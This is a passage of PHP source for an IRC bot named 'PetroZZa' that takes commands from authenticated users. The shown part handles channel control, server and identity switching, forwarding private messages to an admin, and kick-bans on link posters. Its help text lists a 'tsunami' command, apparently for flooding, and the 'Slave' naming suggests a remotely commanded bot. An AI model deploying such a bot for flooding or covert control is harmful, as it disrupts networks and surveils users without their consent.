'.$dNick.' :Detik News is now '.$dnews . CRL); } elseif ($com[3]==':`log' && $com[4] && $auth["$dNick"]["status"]=="Admin") { if ($com[4]=="on") { $log = "on"; } elseif ($com[4]=="off") { $log = "off"; } fputs($fp, 'PRIVMSG '.$dNick.' :Query/Inviter LoG to Admin is now '.$log . CRL); } elseif ($com[3]==':`awaymsg' && $auth["$dNick"]["status"]=="Admin") { $msg = strstr($data,":`awaymsg"); $msg = str_replace(":`awaymsg","",$msg); if (strlen($msg)<3) { $raway="on"; $awaymsg = $awaym[rand(0,count($awaym) - 1)]; } else { $raway="off"; $awaymsg=trim($msg); } } elseif ($com[3]==':`mode' && $com[4] && $chan) { fputs($fp, 'MODE '.$chan.' :'.$com[4].' '.$com[5] . CRL); } elseif ($com[3]==':`nickmode' && $com[4]) { $nickmode = $com[4]; fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL); } elseif ($com[3]==':`chanlist') { fputs($fp, 'NOTICE '.$dNick.' :Channel List: '.$channels . CRL); } elseif ($com[3]==':`userlist') { $userlist=""; foreach ($auth as $user) { if ($user["pass"]) { $pass="-pass ok"; } else { $pass="-no pass"; } $userlist .= $user["name"].'('.$user["status"].$pass.') '; } fputs($fp, 'NOTICE '.$dNick.' :User List: '.$userlist . CRL); } elseif ($com[3]==':`quit' && $auth["$dNick"]["status"]=="Admin") { $msg = strstr($data,":`quit"); $msg = str_replace(":`quit","",$msg); if (strlen($msg)>3) { $msg = str_replace(" ","_",$msg); } fputs($fp, 'QUIT 4,1-0PetroZZa4-ShuTDoWN_ReQuesT_By_'.$dNick.'('.$msg.')' . CRL); $keluar = 1; exit; } elseif ($com[3]==':`vhost' && $auth["$dNick"]["status"]=="Admin") { if ($com[4]) { $localhost = $com[4]; } else { $localhost = 'localhost'; } $keluar = 0; fputs($fp, 'QUIT 4,1-0PetroZZa4- Changing_vHoST_ReQuesT_By_'.$dNick.'('.$localhost.')' . CRL); } elseif ($com[3]==':`jump' && $auth["$dNick"]["status"]=="Admin") { if (!eregi(".dal.net",$com[4])) { $remotehost = "irc.dal.net"; } else { $remotehost = $com[4]; } $keluar = 0; fputs($fp, 'QUIT 4,1-0PetroZZa4-Changing_Server_ReQuesT_By_'.$dNick.'('.$remotehost.')' . CRL); } elseif ($com[3]==':`ident' && $auth["$dNick"]["status"]=="Admin") { if (!$com[4]) { $username = "Slave".randchar(3); } else { $username = $com[4]; } $keluar = 0; fputs($fp, 'QUIT 4,1-0PetroZZa4-Changing_IdentD_ReQuesT_By_'.$dNick.'('.$username.')' . CRL); } elseif ($com[3]==':`fullname' && $auth["$dNick"]["status"]=="Admin") { if (!$com[4]) { $realname = "4,1-0PetroZZa4-"; } else { $realname = $com[4]; } $keluar = 0; fputs($fp, 'QUIT 4,1-0PetroZZa4-Changing_FuLLNamE_ReQuesT_By_'.$dNick.'('.$realname.')' . CRL); } elseif ($com[3]==':`topic' && $com[4] && $chan) { $msg = strstr($data,":`topic"); $msg = str_replace(":`topic ","",$msg); fputs($fp, 'TOPIC '.$chan.' :'.$msg . CRL); } elseif ($com[3]==':!help' && !$chan) { fputs($fp,'PRIVMSG '.$dNick.' :4,99[[4,1Slave1,4Zerø8PHP12,99]]' . CRL); fputs($fp,'PRIVMSG '.$dNick.' :[ auth | !auth `auth | deauth | adduser | deluser | pass | chgpass ]' . CRL); fputs($fp,'PRIVMSG '.$dNick.' :[ `say | `act|slap | `msg|notice|ctcp | `ping/pong | `up | `down ]' . CRL); fputs($fp,'PRIVMSG '.$dNick.' :[ `cycle <#channel> | `join | `part <#channel> | `nickmode <+/-nickmode> ]' . CRL); fputs($fp,'PRIVMSG '.$dNick.' :[ `tsunami | `botnick | `k/kb | `op | `deop | `v | `dv ]' . CRL); fputs($fp,'PRIVMSG '.$dNick.' :[ `detik|whois|astrologi|dns | `awaymsg | `mode <+/-chanmode> | `chanlist | `userlist | `quit | `vhost ]' . CRL); fputs($fp,'PRIVMSG '.$dNick.' :[ `jump | `ident | `fullname | `topic | `log ]' . CRL); fputs($fp,'PRIVMSG '.$dNick.' :4 - End Of Help - ' . CRL); } // else { fputs($fp, 'NOTICE '.$dNick.' :Bad Command! Type: !help To Get My Help :P ' . CRL); // } } else { fputs($fp,'NOTICE '.$dNick.' :Please Auth First! Type: auth To Authorized '. CRL); } } } elseif (!$auth["$dNick"] && !eregi("auth",$iText)) { if (eregi("www.",$iText) || eregi("http:",$iText) || eregi("join #",$iText)) { if (!ereg("#",$dCommand)) { if ($log=="on") { fputs($fp,'PRIVMSG '. $Admin .' :4inviter: ' . $dFrom . '2:' .$iText. CRL); } $inv = strstr($dFrom,'@'); foreach ($auth as $user) { if ($user["status"]=="user") { fputs($fp, 'NOTICE '.$user["name"].' :KB '.$chan.' '.$dNick.' '.$inv.'' . CRL); } } } } elseif (!ereg("#",$dCommand)) { if ($qnick["$dNick"]!=2) { $qnick["$dNick"]++; $querymsg = $querym[rand(0,count($querym) - 1)]; $querymsg = str_replace("nick",$dNick,$querymsg); fputs($fp,'PRIVMSG '.$dNick.' :'.$querymsg . CRL); } if ($log=="on") { fputs($fp,'PRIVMSG '.$Admin.' :6' . $dFrom . '12:' .$iText. CRL); } } } } } elseif (substr($data,0,4) == 'PING') { fputs($fp,'PONG ' . substr($data,5) . CRL); } } } fclose ($fp); } while ($keluar==0); } ?>